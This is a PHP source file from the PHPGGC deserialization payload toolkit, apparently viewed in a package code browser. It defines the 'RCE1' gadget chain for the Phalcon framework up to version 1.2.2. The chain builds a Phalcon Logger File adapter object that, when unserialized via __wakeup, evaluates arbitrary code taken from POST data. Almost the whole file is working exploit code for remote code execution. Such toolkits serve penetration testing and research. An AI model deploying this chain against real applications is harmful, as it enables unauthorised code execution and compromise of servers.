Codebase list phpggc / 5733b04e-14c7-4dbc-bcce-7469db30a936/upstream/0.20210218+git20221214.0.b31b8a4 gadgetchains / Phalcon / RCE / 1 / chain.php
5733b04e-14c7-4dbc-bcce-7469db30a936/upstream/0.20210218+git20221214.0.b31b8a4

Tree @5733b04e-14c7-4dbc-bcce-7469db30a936/upstream/0.20210218+git20221214.0.b31b8a4 (Download .tar.gz)

chain.php @5733b04e-14c7-4dbc-bcce-7469db30a936/upstream/0.20210218+git20221214.0.b31b8a4raw · history · blame

<?php

namespace GadgetChain\Phalcon;

class RCE1 extends \PHPGGC\GadgetChain\RCE
{
    public static $version = '<= 1.2.2';
    public static $vector = '__wakeup';
    public static $author = 'Raz0r';
    public static $information = '
        This chain does not expect parameters, will eval() any code supplied in 
        php://input (i.e. POST data). Requires allow_url_include = true.
    ';

    # No parameters expected
    public static $parameters = [];

    public function generate(array $parameters)
    {
        return new \Phalcon\Logger\Adapter\File();
    }

    public function test_setup()
    {
        throw new \PHPGGC\Exception("This GC cannot be tested.");
    }
}